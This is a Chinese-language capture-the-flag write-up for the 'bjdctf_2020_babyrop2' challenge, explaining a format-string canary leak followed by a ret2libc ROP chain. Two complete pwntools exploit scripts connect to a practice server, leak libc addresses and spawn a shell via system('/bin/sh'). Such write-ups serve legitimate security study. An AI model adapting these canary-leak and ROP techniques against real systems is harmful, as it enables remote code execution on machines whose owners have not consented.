1,三连
分析:开了canary,先想办法获取canary值。
2,IDA静态分析,查看可以泄露canary的地方,否则只能爆破了
发现可以格式化字符串函数泄露的地方:
栈帧结构:
高地址
--------------
gift_ret栈帧
--------------
gift_ebp
--------------
canary
...
format局部变量的地址:存入的内容=>aa%6$p(假格式化参数6)
...
--------------
假格式化参数5
--------------
...假参数2-4
--------------
假格式化参数1
--------------=>gift_esp
format的地址(printf的参数) - > 内容是格式化字符的地址(泄露高地址信息):构造=>aa%6$p
printf_ret栈帧
--------------
低地址
限制:只能输入6个字符,所以不能如下构造
aaaa%x %x %x.......
得利用aa%[n]$p
格式
格式化规则说明:
n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数,则其他所有占位符必须也使用 参数。
例:printf("%2$d %2$#x; %1$d %1$#x",16,17)
打印结果:17 0x11; 16 0x10
p是void * 型,输出对应变量的值。
printf(“%p”, a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址
思路:aa相当于定位标识,format在格式化假参数6的位置,所以构造成aa%6$p
对应16进制:aa(6161),%(25),6(36),$(24),p(70)
(16进制asll和小端序)
通过p打印出对应16进制即可推出canary。
canary的位置:即format局部变量的地址
的上一个位置,则aa%7$p
即泄露canary的地址。
3,获取偏移
vuln的偏移=0x20-0x8(canary填充)
即构造:
payload = b'a'(0x20-8) + p64(canary) + p64(ret)
思路:无直接可利用sys函数,所以是ret2lic,利用put泄露基址。
4,payload
from pwn import *
from LibcSearcher import *
io = remote("node4.buuoj.cn",28141)
#io = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x400887
rdi = 0x0000000000400993 #: pop rdi ; ret
io.sendline('%7$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
#print hex(canary)
payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\n",payload)
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")+1
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload = (0x20-0x08)*b'a'+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter("story!\n",payload)
io.interactive()
上面版本用Libcsearcher的libc进入shell就异常!!
使用如下版本:
本地libc下载:https://github.com/Yeuoly/buuctf_pwn/tree/master/bjdctf_2020_babyrop2
from pwn import *
context.log_level = 'debug'
proc_name = './bjdctf_2020_babyrop2'
#p = process(proc_name)
p = remote('node4.buuoj.cn', 27013)
elf = ELF(proc_name)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']
pop_rdi_ret = 0x400993
ret = 0x4005f9
#gdb.attach(p, 'b *0x400857')
#format overflow
p.recvuntil('I\'ll give u some gift to help u!\n')
payload = b'%7$p'
p.sendline(payload)
canary = int(p.recv(0x12), 16)
print('[+] canary -> {}'.format(hex(canary)))
#gdb.attach(p, 'b *0x4008c3')
p.recvuntil('Pull up your sword and tell me u story!\n')
payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt) + p64(vuln)
p.sendline(payload)
puts_real_addr = u64(p.recv(6).ljust(8, b'\0'))
libc_base = puts_real_addr - libc.sym['puts']
print('[+] libc_base -> {}'.format(hex(libc_base)))
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * ( 0x20 - 8 ) + p64(canary) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh)
payload += p64(system_addr)
p.recvuntil('story!\n')
p.sendline(payload)
p.interactive()